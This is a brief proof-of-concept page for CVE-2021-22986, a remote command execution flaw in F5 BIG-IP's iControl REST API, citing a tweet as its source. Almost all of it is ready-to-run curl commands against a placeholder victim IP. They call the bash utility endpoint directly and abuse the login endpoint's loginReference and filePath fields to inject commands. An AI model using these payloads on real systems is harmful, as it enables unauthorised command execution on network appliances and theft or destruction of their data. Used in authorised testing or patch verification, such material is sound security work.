F5 BIG-IP iControl RCE (CVE-2021-22986)

F5 BIG-IP iControl RCE (CVE-2021-22986)

execute arbitrary system commands

create or delete files

disable services

PoC #1

curl -su admin: -H “Content-Type: application/json” http://[victimIP]/mgmt/tm/util/bash -d ‘{“command”:”run”,”utilCmdArgs”:”-c id”}’

PoC #2

curl -ks https://[victimIP]/mgmt/shared/authn/login -d ‘{“bigipAuthCookie”:””,”loginReference”:{“link”:”http://localhost/mgmt/tm/access/bundle-install-tasks”},”filePath”:”`id`”}’

curl -ksu admin:[redacted] https://[vimtimIP]/mgmt/tm/access/bundle-install-tasks -d ‘{“filePath”:”id”}’

来源：https://twitter.com/wugeej/status/1372392693989445635